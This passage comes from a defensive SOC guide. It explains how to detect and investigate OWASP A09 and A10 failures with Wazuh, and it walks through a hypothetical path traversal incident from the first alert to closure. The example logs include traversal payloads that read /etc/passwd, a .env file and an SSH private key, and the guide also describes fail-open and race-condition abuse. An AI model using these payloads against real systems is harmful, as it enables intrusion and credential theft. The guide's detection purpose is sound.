| Evidence collection | Last received events, FIM diffs, agent status history, local logs if still available | SOC L1 or L2 |
| Event correlation | What happened right before the gap? Any attacks during the gap visible elsewhere (WAF, firewall, identity provider)? | SOC L2 |
| Severity assessment | Planned maintenance (Info), misconfiguration gap (Medium), deliberate tampering (High or Critical) | SOC L2 |
| Impact assessment | Systems blind, duration, what attacks could have been missed | SOC |
| Escalation | Incident lead for tampering; system owner and SOC manager for gaps | SOC |
| Containment recommendation | Restore logging, isolate host if tampering, preserve remaining evidence | SOC recommends; admins execute |
| Coordination | Fix collection, add logging to the application, update change process | Admins, developers, detection engineering |
| Remediation verification | Events received, test alerts fire | SOC |
| Documentation and closure | Gap timeline, cause, missed events, new monitoring | SOC |
Prevention and Remediation
- Define auditable events for each application: login success and failure, access control failures, input validation failures, admin actions, high value transactions.
- Use a consistent, machine readable format (JSON) with time, user, IP, action, result.
- Encode log data to prevent log injection, and never log passwords, tokens or full card numbers.
- Forward logs centrally in near real time; protect them from modification; back them up.
- Define alert use cases, thresholds and playbooks, and review them regularly.
- Test detection with penetration tests, DAST scans and purple team exercises.
- Monitor the monitoring: agent health, log volume, decoder matches.
- Tune noisy rules to prevent alert fatigue.
A10:2025 Mishandling of Exceptional Conditions
Official page: OWASP A10:2025 Mishandling of Exceptional Conditions
What Is Mishandling of Exceptional Conditions?
Definition: Mishandling of Exceptional Conditions means the application does not prevent, detect, or respond safely to unusual situations such as errors, missing parameters, timeouts or resource exhaustion, so it crashes, leaks information, ends up in an inconsistent state, or fails open (allows access when a check fails).
Key terms:
- Exception: An abnormal event during program execution, such as a null value, a timeout or a database error.
- Exceptional condition: Any unusual situation: missing input, unexpected type, low memory, lost network, insufficient privileges.
- Fail open (
CWE-636): When a security check fails because of an error, the system allows the action. The safe behavior is fail closed (fail secure): deny when unsure. - Error message with sensitive information (
CWE-209): Errors that reveal internal paths, queries, versions or data. - Missing parameter handling (
CWE-234) and NULL pointer dereference (CWE-476) are other notable CWEs. - Rollback: Undoing all steps of a transaction when one step fails, so the system returns to a consistent state.
- Race condition: Two operations happen at nearly the same time and the result depends on timing, which attackers can exploit.
- Resource exhaustion: Using up memory, connections, file handles or threads until the service fails.
What weakness it represents: OWASP describes three failings: the application does not prevent the unusual situation, does not identify it as it happens, and/or responds poorly afterwards. This is a new category in 2025 with 24 CWEs, some previously grouped under “poor code quality”.
Why it happens:
- Input validation is missing or incomplete.
- Errors are caught too late, at a high generic level, instead of where they occur.
- Exception handling is inconsistent across the code.
- Developers only test the happy path.
- Security checks call other services (authorization, fraud, payment) and do not define what happens if those services fail.
Why attackers target it: Errors are easy to trigger with odd input. Errors often leak useful information. Fail open behavior can bypass security without any credential. Interrupting transactions can create money or duplicate actions.
What can happen after successful exploitation: Denial of service, information disclosure, authorization bypass, fraudulent transactions, data corruption.
Business assets affected: service availability, financial transactions, account balances, confidential system details, access controlled data.
How Attackers Abuse Error Handling
- What the attacker needs first: Usually only the ability to send requests, sometimes a normal account. Some attacks need the ability to cause timing issues (many parallel requests).
- What is targeted: Input parsing, file uploads, multi step transactions, calls to dependent services, error pages.
- What the attacker sends or changes:
- Missing, empty, huge or wrongly typed parameters.
- Requests that cause downstream timeouts.
- Many parallel requests to hit a race window.
- Interrupted connections in the middle of a transaction.
- What the vulnerable application does: Throws an exception and either shows the details, skips the security check, leaves a partial transaction, or keeps resources locked.
- How the attacker exploits it: Uses the leaked details for other attacks, uses the bypass, repeats the interruption to gain value, or repeats the error to exhaust resources.
- What happens on success: Information leak, bypass, money or data inconsistency, or service outage.
- Evidence left behind: Bursts of
500or503responses, stack traces or exception logs, timeouts, “allowed due to error” decisions, transactions without matching steps, memory or connection exhaustion warnings, crashes and restarts.
Exceptional Condition Attack Examples
Example 1: Authorization check fails open during a timeout
- Situation: A healthcare scheduling app calls an internal authorization service before showing patient records. The code catches any exception from that call and continues, so on timeout it shows the record.
- Attacker objective: View patient records they are not allowed to see.
- Attacker actions: Sends many slow, heavy requests to overload the authorization service, while requesting other patients’ records.
- Representative application log (JSON):
{"log_type":"app","event":"authz_check_error","username":"u-5521","resource":"/patients/88213/record","error":"TimeoutException after 2000ms","decision":"allow","client_ip":"203.0.113.33"}
- Vulnerable behavior: The design should deny on error (fail closed). The code allows instead (
CWE-636). - Attempt versus success: Timeouts with
decision: denyare safe failures. Adecision: allowafter an error is a successful bypass, confirmed by the response returning record data. - Impact: Unauthorized access to health data. The result looks like A01 (access control bypass), but the root cause is unsafe error handling (A10).
Example 2: Interrupted money transfer without rollback (from the OWASP scenario)
- Situation: A digital wallet processes transfers in three steps: debit sender, credit receiver, record transaction.
- Attacker objective: Get money credited more than once.
- Attacker actions: Sends many parallel transfer requests and drops connections at precise moments.
- Representative application log entries:
{"log_type":"app","event":"transfer_step","transfer_id":"T-77120","step":"credit_receiver","step_status":"ok"}
{"log_type":"app","event":"transfer_step_failed","transfer_id":"T-77120","step":"record_transaction","error":"ConnectionResetException","rollback":"false"}
{"log_type":"app","event":"transfer_step","transfer_id":"T-77121","step":"credit_receiver","step_status":"ok"}
- Vulnerable behavior: When a later step fails, the earlier steps are not rolled back, and race conditions allow duplicate credits.
- Attempt versus success: Failed steps with
rollback: trueare handled safely. Failed steps withrollback: falseand balance differences in reconciliation reports show successful exploitation. - Impact: Financial loss and inconsistent ledgers.
Example 3: Database errors leak details (from the OWASP scenario)
An attacker sends unusual characters to many parameters. The app shows full database error messages including table names and query fragments. The attacker uses them to build a precise SQL injection. The error disclosure is A10 (and A02 if production is configured to show details); the later injection is A05.
Exception Handling Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
Bursts of 500 errors from one IP across many parameters | Access logs, built in rules 31122 and 31162 | Suspicious (fuzzing) |
| Stack traces or exception names in responses or logs | App logs, error logs | Strong evidence of unsafe error handling |
| “allow” decisions recorded together with errors | App logs | Strong evidence of fail open |
| Transaction steps without matching completion or rollback | App logs, reconciliation reports | Strong |
| Many parallel identical requests within milliseconds | Access logs, app logs | Suspicious (race attempt) |
503 responses, worker exhaustion, memory errors | Access logs, web server error logs | Suspicious (resource exhaustion) |
| Process crashes, segmentation faults, restarts | System logs, built in Apache rule 30104 | Strong evidence of a crash |
| Requests with missing or malformed parameters immediately before errors | Access and app logs | Suspicious |
How to Detect Unsafe Error Handling with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Web access logs | Necessary | Status code patterns (500, 503) |
| Web server error logs | Necessary | Crashes, worker exhaustion, PHP fatal errors |
| Application logs with exception type, endpoint, decision and transaction state (JSON) | Strongly recommended | The only way to see fail open and missing rollback |
| System logs (service restarts, out of memory killer) | Recommended | Shows crashes and resource exhaustion |
| Business reconciliation reports | Optional, external | Confirms financial inconsistency |
| APM (Application Performance Monitoring) data | Optional, external | Timeouts and dependency failures |
What Wazuh Can and Cannot Detect
- Directly with built in rules:
- 31120 “Web server 500 error code (server error).” (level 5), 31122 “Web server 500 error code (Internal Error).” (level 5), 31162 “Multiple web server 500 error code (Internal Error).” (level 10, 14 events in 120 seconds from the same source IP).
- 31123 “Web server 503 error code (Service unavailable).” (level 4) and 31163 “Multiple web server 503 error code (Service unavailable).” (level 10).
- 30104 “Apache: Segmentation fault.” (level 12), 30120 “Apache: without resources to run.” (level 12), 31303 “Nginx critical message.” (level 5).
- PHP rules such as 31420 “PHP Fatal error.” (level 5) and 31412 “PHP internal error (missing file).” (level 5).
- Needs custom rules: Fail open decisions, transactions without rollback, repeated unhandled exceptions per client.
- Needs application logs: Yes. Access logs show that an error happened, not how the application handled it.
- Needs external tools: APM for dependency timeouts, reconciliation for financial impact.
- Cannot be reliably detected by Wazuh alone: A fail open bug that is never logged; an exception that is silently swallowed (which is also an A09 problem); race conditions without transaction logs.
- Suspicious versus proof: Many
500errors prove errors happened, possibly from fuzzing. Proof of mishandling needs evidence of the unsafe outcome: leaked details, an allow decision, a missing rollback.
Wazuh Rules for Exception Handling Failures
All rules below are custom rules (examples) for JSON application logs.
Rule logic:
- 101001: A security check raised an error but the decision was “allow” (fail open).
- 101002: A transaction step failed and no rollback happened.
- 101003 and 101004: Ten unhandled exceptions caused by the same client IP within two minutes.
<group name="custom_owasp,owasp_a10,">
<!-- Custom rule (example): security check failed open -->
<rule id="101001" level="12">
<decoded_as>json</decoded_as>
<field name="event">^authz_check_error$</field>
<field name="decision">^allow$</field>
<description>OWASP A10: Authorization check error for $(resource) but access was allowed (fail open)</description>
</rule>
<!-- Custom rule (example): transaction step failed without rollback -->
<rule id="101002" level="12">
<decoded_as>json</decoded_as>
<field name="event">^transfer_step_failed$</field>
<field name="rollback">^false$</field>
<description>OWASP A10: Transfer $(transfer_id) failed at step $(step) without rollback</description>
</rule>
<!-- Custom rule (example): counter for unhandled exceptions -->
<rule id="101003" level="3">
<decoded_as>json</decoded_as>
<field name="event">^unhandled_exception$</field>
<description>OWASP A10: Unhandled exception $(exception) at $(path)</description>
</rule>
<!-- Custom rule (example): one client triggering many unhandled exceptions -->
<rule id="101004" level="10" frequency="10" timeframe="120">
<if_matched_sid>101003</if_matched_sid>
<same_field>client_ip</same_field>
<description>OWASP A10: 10 unhandled exceptions triggered by $(client_ip) in 2 minutes, possible fuzzing of error handling</description>
</rule>
</group>
Why these levels: Fail open (101001) and missing rollback (101002) are direct security or financial failures, level 12. A single unhandled exception (101003) is a low relevance event at level 3, kept visible for trend analysis. Repeated exceptions from one client (101004) suggest deliberate probing, level 10.
How to test:
- Paste the
authz_check_errorline from Example 1 intowazuh-logtest. Expected:101001. - Change
"decision":"allow"to"decision":"deny". Expected: no alert (that is safe failure). - Paste the
transfer_step_failedline from Example 2. Expected:101002. - Paste ten lines like the one below with the same
client_ip. Expected:101004on the tenth.
{"log_type":"app","event":"unhandled_exception","exception":"NullPointerException","path":"/api/v1/claims","client_ip":"198.51.100.61"}
- Paste 14 access log lines with status
500from the same IP to see built in rule 31162.
Expected alert (representative, shortened):
{
"rule": { "level": 12, "id": "101001", "description": "OWASP A10: Authorization check error for /patients/88213/record but access was allowed (fail open)" },
"agent": { "name": "sched-app-01" },
"decoder": { "name": "json" },
"data": { "event": "authz_check_error", "username": "u-5521", "resource": "/patients/88213/record", "error": "TimeoutException after 2000ms", "decision": "allow", "client_ip": "203.0.113.33" }
}
Investigating the Alert in Wazuh
- Find the alert: Threat Hunting, filter
rule.groups:owasp_a10orrule.id:(31162 or 31163). - Fields to inspect:
data.event,data.error,data.exception,data.decision,data.transfer_id,data.step,data.rollback,data.client_ip,data.username,data.resource. - Source IP:
data.client_ipordata.srcip; check whether it also sent unusual inputs. - Affected application:
agent.name,location, the endpoint indata.pathordata.url. - User account:
data.username; check whether that user should have access to the resource. - Timestamps: Error times compared with dependency outages, deployments or load spikes.
- Correlate: Dependency service errors at the same time, 500 bursts in access logs, preceding requests with malformed parameters.
- Success check: Did the response contain protected data? Did balances change incorrectly? Did details leak in responses?
- Impact: Records exposed, money involved, downtime duration.
- Document: Error type, handling outcome (allow, partial state, crash), evidence, and the expected safe behavior.
Useful Wazuh Dashboard Queries
| Query | What it finds | What to look for |
|---|---|---|
rule.id:(31122 or 31162) | Server errors and bursts | Same IP, same endpoint, unusual parameters |
rule.id:(31123 or 31163) | Service unavailable bursts | Resource exhaustion or dependency failure |
rule.id:101001 | Fail open decisions | Users and resources accessed |
data.decision:allow and data.error:* | Allow decisions recorded with an error value | Broader fail open hunting |
rule.id:101002 | Transactions without rollback | Amounts and accounts for reconciliation |
rule.id:(30104 or 30120) | Apache crashes and resource problems | Requests just before the crash |
data.exception:* | All logged exceptions | Most common types and endpoints |
Detection Limitations
- Swallowed exceptions leave no trace.
500errors are common during deployments and outages; context is needed.- Fail open is only visible if the app logs the decision with the error.
- Race conditions need precise timestamps and transaction IDs.
- False positives: buggy releases, dependency outages, monitoring probes.
- Improve visibility: Ask developers to log exceptions in JSON with type, endpoint, user, decision and transaction state; log security check outcomes on error; use APM; and alert on fail open patterns.
Practical SOC Investigation Scenario: Authorization Service Timeout Fails Open
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. A healthcare provider’s appointment application checks every patient record request with an internal authorization service. The application writes JSON logs that Wazuh collects.
Initial suspicious activity. The authorization service starts timing out under heavy load, and at the same time the application keeps returning patient records.
Initial detection. Built in rule 31163 (“Multiple web server 503 error code (Service unavailable).”) fires for the authorization service gateway. Ten minutes later, custom rule 101001 fires: an authorization check error occurred, but access was allowed.
Logs examined. The analyst reviews the application JSON logs filtered by rule.id:101001, the access logs for the same IP, and the patient assignment data from the application team.
Suspicious indicators. There are 214 allow decisions recorded together with errors in 15 minutes, all from user u-5521 at 203.0.113.33. The same IP sends heavy search requests that slow down the authorization service while also requesting /patients/{id}/record for many different IDs.
Event correlation. The application team confirms that the requested patients are not assigned to u-5521. The record requests returned 200 with normal record sizes. The developers confirm that the code catches the timeout exception and continues instead of denying.
Assessment of successful exploitation. The allow decisions logged with errors, the 200 responses and the assignment data together confirm unauthorized access to 214 patient records. The access control existed and worked under normal conditions; the application bypassed it by failing open when the check raised an exception.
Potential business impact. 214 patient records were exposed to an unauthorized user, a health data breach that is likely reportable.
Incident response actions. The SOC escalates the case as Critical. It recommends disabling u-5521, blocking the IP and applying an emergency configuration that denies requests whenever the authorization service fails. The platform team scales and rate limits the authorization service, and privacy and legal teams assess breach notification.
Recommended remediation. Developers change the handler to deny on any exception and add a circuit breaker. A simulated authorization timeout in staging now produces a logged decision: deny. The impact looks like A01, but the root cause is A10 Mishandling of Exceptional Conditions (CWE-636, failing open).
Incident Response Process
| Step | Category specific action | Who |
|---|---|---|
| Initial triage | Error noise (deployment, outage) or abuse? Was there an unsafe outcome? | SOC L1 |
| Evidence collection | Access and error logs, app exception logs, dependency status, transaction records | SOC L1 or L2 |
| Event correlation | Malformed inputs, then errors, then unsafe outcome; dependency failures; user and IP | SOC L2 |
| Severity assessment | Errors only (Low), information leak (Medium), fail open or financial inconsistency (High or Critical) | SOC L2 |
| Impact assessment | Data exposed, money affected, downtime | SOC with app owner, finance |
| Escalation | Incident lead, app owner, finance or privacy as needed | SOC |
| Containment recommendation | Block abusing IPs and accounts, enable fail closed settings, pause risky features, rate limit | SOC recommends; developers and platform execute |
| Coordination | Fix exception handling, add rollback and idempotency, add circuit breakers | Developers |
| Remediation verification | Simulate the failure in staging; confirm deny and rollback; no new A10 alerts | SOC with QA and AppSec |
| Documentation and closure | Failure mode, outcome, root cause, new logging | SOC and incident lead |
Prevention and Remediation
- Validate input fully and early, including missing and unexpected values.
- Catch exceptions where they occur and handle them deliberately.
- Fail closed: deny access or stop the action when a security check cannot complete.
- Use transactions with full rollback; make operations idempotent (safe to repeat).
- Release resources in all code paths (for example
finallyblocks). - Show generic error messages to users and log details internally.
- Apply rate limits and resource quotas.
- Add a global exception handler as a safety net, and log every exception with context.
- Test failure paths, not only the happy path.
How to Tell Similar OWASP Categories Apart
Several OWASP categories overlap, and a single incident can touch more than one. The most reliable way to classify an incident is by root cause:
Classify by root cause, describe the impact, and mention the related category. For example: “Root cause A10, failing open; the impact looks like A01, unauthorized access.”
Broken Access Control (A01) versus Authentication Failures (A07)
| Question | A01 Broken Access Control | A07 Authentication Failures |
|---|---|---|
| What fails? | Authorization: what you may do | Authentication: who you are |
| Is the attacker logged in as themselves? | Usually yes, as their own real account | No, they are accepted as someone else, or as nobody |
| Typical example | Logged in user changes invoice_id and sees another customer’s invoice | Attacker logs in to a victim’s account with a leaked password |
| Typical evidence | Same session reads objects owned by many others; 200 on admin paths for non admins | Many failed logins, success after failures, login from new location |
Simple example: A trial user downloads other customers’ invoices: A01. An attacker logs in as a real customer with a stolen password and downloads that customer’s own invoices: A07.
How a SOC analyst distinguishes them: Look at the identity used. If the session belongs to the attacker’s own account and they reached other people’s data, it is A01. If the attacker is using someone else’s identity, investigate A07. Both can happen together: an attacker takes over an account (A07) and then exploits an IDOR (A01).
Security Misconfiguration (A02) versus Software Supply Chain Failures (A03)
| Question | A02 Security Misconfiguration | A03 Software Supply Chain Failures |
|---|---|---|
| What is wrong? | The settings of a component | The component itself, its version, its source, or the pipeline that delivers it |
| Typical example | Admin console with default password; directory listing on | Web framework version with a known remote code execution CVE; malicious npm package |
| Fixed by | Changing configuration | Patching, upgrading, replacing, securing the pipeline |
| Main Wazuh visibility | SCA, FIM on config files | Vulnerability Detection, process telemetry on build agents |
Simple example: Apache shows directory listings: A02. Apache is an old version with a public CVE: A03.
How a SOC analyst distinguishes them: Ask “would updating the software fix it, or would changing a setting fix it?” A vulnerability alert from Vulnerability Detection points to A03. A failed SCA check points to A02. Note that OWASP’s A03 says you are vulnerable if you do not secure the configuration of every part of the system, and refers to A02 for that part.
Software Supply Chain Failures (A03) versus Software or Data Integrity Failures (A08)
| Question | A03 Software Supply Chain Failures | A08 Software or Data Integrity Failures |
|---|---|---|
| Focus | The whole chain of third party components, tools, build and distribution | The specific failure to verify integrity before trusting code or data |
| OWASP wording | Breakdowns or compromises in building, distributing or updating software | Failure to maintain trust boundaries and verify integrity at a lower level than supply chain failures |
| Typical example | Outdated library with a CVE; compromised vendor; malicious package; weak CI/CD | Unsigned update installed; artifact deployed without signature check; insecure deserialization; script without SRI |
| Key question | “Is something we depend on vulnerable or compromised?” | “Did we check that this code or data is genuine before using it?” |
Simple example: A malicious package version is published to the public registry and pulled into your build: A03. Your pipeline deploys an artifact from a bucket without verifying its signature, and someone replaced it: A08. Insecure deserialization of a cookie is always discussed under A08.
How a SOC analyst distinguishes them: Find where the trust broke. If the trusted upstream source itself was vulnerable or compromised, lead with A03. If the problem is that your system skipped integrity verification of code or data, lead with A08. Real incidents often involve both, and saying so shows maturity.
Cryptographic Failures (A04) versus Authentication Failures (A07)
| Question | A04 Cryptographic Failures | A07 Authentication Failures |
|---|---|---|
| What fails? | Protection of secrets and data by cryptography | The login, session or recovery process |
| Typical example | Passwords stored with unsalted MD5; predictable reset tokens; login over HTTP | No rate limiting on login; no MFA; session not invalidated |
| Where the attack happens | Often offline or on the network (cracking, sniffing, predicting) | Usually online against the login endpoint |
| Typical evidence | Weak TLS in logs, sensitive data in URLs, key file access; often no direct logs | Failed login patterns, success after failures |
Simple example: An attacker cracks MD5 password hashes from a stolen backup: the weak storage is A04. An attacker guesses passwords on the login page because there is no rate limit: A07. OWASP’s A07 description itself mentions weakly hashed password stores and points to A04.
How a SOC analyst distinguishes them: If the problem is how a secret is generated, transmitted or stored, it is A04. If the problem is how the application verifies identity or manages the session, it is A07. Predictable reset tokens are a good overlap example: weak randomness (A04) inside a recovery process (A07).
Injection (A05) versus Insecure Design (A06)
| Question | A05 Injection | A06 Insecure Design |
|---|---|---|
| Type of flaw | Implementation defect: code mixes data and commands | Design flaw: a needed control was never planned |
| What requests look like | Contain special characters and keywords (' UNION SELECT) | Look completely valid |
| Fixed by | Correct code (parameterized queries, encoding) | Design change (limits, new process, threat modeling) |
| Wazuh visibility | Built in web attack rules on access logs | Only custom rules on business logs |
Simple example: A search box allows UNION SELECT: A05. A booking system allows one account to book 600 seats because nobody defined a limit: A06.
How a SOC analyst distinguishes them: Look at the payload. If the request contains interpreter syntax that changes a command, it is A05. If every request is normal but the combination or quantity creates harm, think A06. OWASP states an insecure design cannot be fixed by a perfect implementation.
Security Logging and Alerting Failures (A09) versus missing Wazuh detection rules
| Question | A09 Security Logging and Alerting Failures | Missing Wazuh detection rule |
|---|---|---|
| Where is the gap? | In the application or its environment: events not logged, logs not protected, no alerting process | In the SOC’s detection content: logs exist and arrive, but no rule turns them into an alert |
| Example | The portal never logs failed logins | The portal logs failed logins in JSON and Wazuh collects them, but nobody wrote a rule |
| Who fixes it? | Developers, system owners, management (logging requirements, retention, playbooks) | Detection engineers (decoders and rules) |
| How to tell | Search raw logs or the wazuh-archives-* index (if archiving is enabled): the event is not there at all | The event is in the archives or full_log, but no alert was raised |
Simple example: An attacker sprays passwords and no failure events exist anywhere: A09 in the application. The failure events exist in Wazuh’s archived events but no rule matched: a detection engineering gap in the SOC (which, from the organization’s point of view, also contributes to “alerting failures”).
How a SOC analyst distinguishes them: Check the chain step by step: (1) Did the application write the event? (2) Did the agent collect it? (3) Did the decoder parse it? (4) Did a rule match? (5) Did someone review the alert? A break at step 1 is an application logging failure. A break at steps 2 to 4 is a SIEM configuration or detection gap. A break at step 5 is a SOC process failure. Wazuh’s logall or logall_json options store all events (not only alerts) in archives, which helps this analysis. Archiving uses more storage, so it is often enabled only temporarily.
Mishandling of Exceptional Conditions (A10) versus ordinary application errors
| Question | A10 Mishandling of Exceptional Conditions | Ordinary application error |
|---|---|---|
| Security impact? | Yes: data leak, bypass (fail open), state corruption, denial of service | No security impact, just a failure or wrong result |
| Example | Authorization timeout leads to access being allowed | Report page crashes with a generic “please try again” message and nothing else happens |
| Example | Transfer fails mid way and money is credited without debit record | A user uploads a corrupt image and gets a clear validation error |
| SOC interest | Investigate, escalate | Usually operations or QA, not security |
Simple example: An error page shows “Something went wrong” and logs details internally: ordinary, handled error. An error page shows the full SQL query and stack trace, or the app grants access after an error: A10 (and possibly A02 for the verbose error configuration).
How a SOC analyst distinguishes them: Ask three questions. (1) Was the error triggered deliberately (unusual inputs, one IP, many parameters)? (2) Did the error produce an unsafe outcome (data shown, access allowed, inconsistent state, outage)? (3) Did the handling violate fail closed? If the answer to question 2 or 3 is yes, treat it as A10.
Quick Overlap Reference
| Situation | Root cause category | Related category to mention |
|---|---|---|
| Account takeover through predictable reset token | A04 | A07 |
| Credential stuffing then IDOR | A07 and A01 | Both are separate failures |
| Old library exploited, web shell uploaded | A03 | A08 if the web shell file was not detected by integrity monitoring |
| Verbose stack trace in production | A02 (configuration) | A10 (handling) |
| Fail open authorization | A10 | A01 (impact) |
| Attack missed because logs not collected | A09 | The attack’s own category |
File upload allows .php | A06 (design allows dangerous type, CWE-434) | A05 or A08 when executed or used as a web shell |
Complete SOC Investigation Workflow for a Suspicious Web Request
This section follows one hypothetical case from the first alert to closure. It is an invented example that illustrates the method and does not describe a real organization.
The environment: A professional services company runs a client document portal on NGINX (Linux). The portal lets clients download their reports through /download?file=<name>. Wazuh agents on the web server collect NGINX access logs, the application’s JSON logs, FIM and auditd. PostgreSQL authentication logs from the database server are also collected.
Step 1: Alert Received in Wazuh
At 14:22 UTC the SOC queue shows built in rule 31106 “A web attack returned code 200 (success).” (level 6) from agent docs-web-01.
Representative alert (shortened):
{
"timestamp": "2026-11-08T14:22:41.512+0000",
"rule": {
"level": 6,
"description": "A web attack returned code 200 (success).",
"id": "31106",
"firedtimes": 1,
"mitre": { "id": ["T1190"], "tactic": ["Initial Access"], "technique": ["Exploit Public-Facing Application"] },
"groups": ["web", "accesslog", "attack"]
},
"agent": { "id": "033", "name": "docs-web-01", "ip": "10.50.1.21" },
"manager": { "name": "wazuh-manager-01" },
"decoder": { "name": "web-accesslog" },
"data": { "protocol": "GET", "srcip": "198.51.100.77", "id": "200", "url": "/download?file=../../../../etc/passwd" },
"location": "/var/log/nginx/access.log",
"full_log": "198.51.100.77 - - [08/Nov/2026:14:22:41 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 200 2847 \"-\" \"curl/8.5.0\""
}
Field by field:
| Field | Value | Why it matters |
|---|---|---|
timestamp | 2026-11-08T14:22:41 | When Wazuh processed the event; compare with the log’s own time |
rule.id | 31106 | Built in rule: a pattern from 31103, 31104 or 31105 matched and status was 200 |
rule.level | 6 | Medium importance in Wazuh’s scale; the level alone does not decide the incident |
rule.mitre.id | T1190 | Exploit Public Facing Application |
agent.name | docs-web-01 | Affected server |
data.srcip | 198.51.100.77 | Client IP as seen by NGINX |
data.protocol | GET | HTTP method |
data.url | /download?file=../../../../etc/passwd | The ../ sequence is a path traversal pattern (matched by built in rule 31104) |
data.id | 200 | HTTP status |
full_log | ends with 2847 "-" "curl/8.5.0" | Response size 2,847 bytes; user agent curl |
location | /var/log/nginx/access.log | Which log file produced the event |
Step 2: Initial Triage (L1, first 10 minutes)
- Is the alert real? Yes,
full_logshows the actual request. - What asset?
docs-web-01hosts the client portal, which is internet facing and holds confidential client reports. High value. - Is it a known tester? The analyst checks the approved penetration test calendar and allow list. The IP is not listed.
- Is it ongoing? A filter on the last 15 minutes for the IP shows requests are still arriving.
- First impression: A path traversal attempt returned
200. Status 200 alone is not proof, but the size of 2,847 bytes looks like a small text file, not the portal’s usual multi megabyte PDF reports. - Decision: Escalate to L2 with a priority of High while continuing evidence collection.
Step 3: Identification of the Source IP
data.srcipis198.51.100.77. NGINX is directly internet facing here (no load balancer), so this is the real client IP. If a load balancer were in front, the analyst would checkX-Forwarded-Forin the load balancer logs.- Reputation and ownership checks (with an approved threat intelligence tool): a hosting provider, no business relationship.
- Query:
data.srcip:"198.51.100.77"over 7 days. First seen today at 14:05.
Step 4: Examination of the HTTP Requests
Query: data.srcip:"198.51.100.77" sorted by time. Representative results:
14:05:10 GET / 200 18220 Mozilla/5.0
14:05:44 GET /login 200 6310 Mozilla/5.0
14:06:02 POST /login 302 0 Mozilla/5.0
14:06:03 GET /reports 200 15400 Mozilla/5.0
14:06:20 GET /download?file=Q3_report_acme.pdf 200 2311840 Mozilla/5.0
14:21:58 GET /download?file=../etc/passwd 404 162 curl/8.5.0
14:22:20 GET /download?file=../../etc/passwd 404 162 curl/8.5.0
14:22:41 GET /download?file=../../../../etc/passwd 200 2847 curl/8.5.0
14:23:15 GET /download?file=../../../../var/www/portal/.env 200 944 curl/8.5.0
14:24:02 GET /download?file=../../../../home/deploy/.ssh/id_rsa 404 162 curl/8.5.0
What this shows:
- The IP logged in as a real client at 14:06 and downloaded a normal report (2.3 MB).
- From 14:21 it switched to
curland tried increasing../depth, a classic traversal search. The404results are failed attempts. - At depth four,
/etc/passwdreturned200with 2,847 bytes and.envreturned200with 944 bytes. Both sizes are consistent with those text files.
Step 5: Review of Application and Web Server Logs
- Application JSON log for the same minute (collected by Wazuh):
{"log_type":"app","event":"file_download","username":"client-acme-03","client_ip":"198.51.100.77","requested":"../../../../var/www/portal/.env","resolved_path":"/var/www/portal/.env","result":"served","bytes":"944"}
- Field explanation:
usernameidentifies the authenticated account;requestedis the raw input;resolved_pathshows the server turned the input into a path outside the reports folder;result: servedconfirms the file was sent. - NGINX error log: no errors for these requests, meaning the application, not NGINX, served the files.
Step 6: Identification of the Suspicious Parameter and Behavior
- Parameter:
filein/download. - Behavior: User controlled path not restricted to the reports folder. The application resolves
../and serves any file the web server user can read. - Category: Path traversal,
CWE-22, which OWASP 2025 maps to A01 Broken Access Control (the user accessed files outside their permitted scope).
Step 7: Correlation with Other Security Events
- Leaked secret check: The
.envfile contains the PostgreSQL password for the portal database (confirmed by the system owner). - Database logs: Query
agent.name:"docs-db-01" and full_log:*portal_app*shows a successful database login for userportal_appat 14:31 from198.51.100.77. The database normally accepts connections only from the web server, but a firewall rule allowed the external IP range for a vendor, an additional misconfiguration (A02). - Process events: auditd custom rule 100503 did not fire; no shells were spawned by the web server user.
- FIM: No new files in the web root (rule 100801 did not fire).
- Other sources: No other IPs sent traversal patterns in the last 30 days (
rule.id:(31104 or 31106) and data.url:*download*).
Step 8: Verification of Whether Exploitation Was Successful
| Claim | Evidence | Conclusion |
|---|---|---|
| Traversal was attempted | 404 responses with increasing ../ | Confirmed attempt |
| Traversal succeeded | 200 with matching sizes; app log result: served, resolved_path outside folder | Confirmed exploitation |
| Secrets were obtained | .env served (944 bytes) and contains DB password | Confirmed |
| Secrets were used | Database login from attacker IP at 14:31 | Confirmed |
| Server code execution | No shell processes, no new files | Not observed (absence of evidence, stated with confidence level) |
Step 9: Assessment of Business Impact
- Confidentiality: System files and database credentials exposed. Database access by an external party means client data may be exposed. Database audit logs must show which tables were read.
- Integrity: No evidence of modification yet; to be confirmed with database audit logs.
- Availability: Not affected.
- Business: Confidential client reports for multiple clients may be exposed; contractual and regulatory notification may be required.
- Accounts: The client account
client-acme-03was used by the attacker. Either the client’s credentials were stolen (A07) or the client is the attacker; to be determined.
Step 10: Incident Classification
- Type: Web application exploitation leading to credential exposure and unauthorized database access.
- OWASP mapping: Root cause A01 Broken Access Control (path traversal). Contributing: A02 Security Misconfiguration (database reachable from the internet), and possibly A07 if the client account was compromised.
- MITRE ATT&CK:
T1190Exploit Public Facing Application,T1552.001Unsecured Credentials: Credentials In Files,T1078Valid Accounts. - Severity: Critical (confirmed data access with confirmed use of stolen credentials).
Step 11: Escalation and Response
- Escalation: Incident lead paged; application owner, database administrator, network team and client relationship manager informed. Privacy and legal informed because client data may be affected.
- Containment (recommended by SOC, executed by owners):
- Block
198.51.100.77at the edge firewall and WAF (or with Wazuh Active Response if pre approved). - Disable the
client-acme-03account and revoke its sessions. - Rotate the database password and any other secret in
.env. - Remove the external firewall rule to the database.
- Temporarily disable
/downloador apply a WAF rule blocking../and encoded variants in thefileparameter.
- Block
- Eradication and fix (development team): Map download requests to file IDs instead of paths, and enforce that resolved paths stay inside the reports folder.
- Evidence preservation: Export alerts, access and app logs, database logs; snapshot the web server if required by policy.
Step 12: Documentation and Closure
Incident record (summary):
| Section | Content |
|---|---|
| Summary | Path traversal in /download allowed an authenticated client account to read server files, including database credentials, which were then used from the attacker IP |
| Timeline | 14:06 login, 14:21 traversal attempts, 14:22 /etc/passwd served, 14:23 .env served, 14:31 DB login, 14:40 containment started |
| Evidence | Alert 31106 JSON, access log lines, app log file_download events, DB authentication log, firewall rule export |
| Root cause | Missing path restriction in download feature (A01, CWE-22); database exposed to external range (A02) |
| Impact | Credentials exposed and used; client data exposure under assessment |
| Actions | IP blocked, account disabled, secrets rotated, firewall fixed, code fixed |
| Verification | Retest of traversal returns 400; new custom rule alerts on ../ in file parameter; no further DB logins from external IPs |
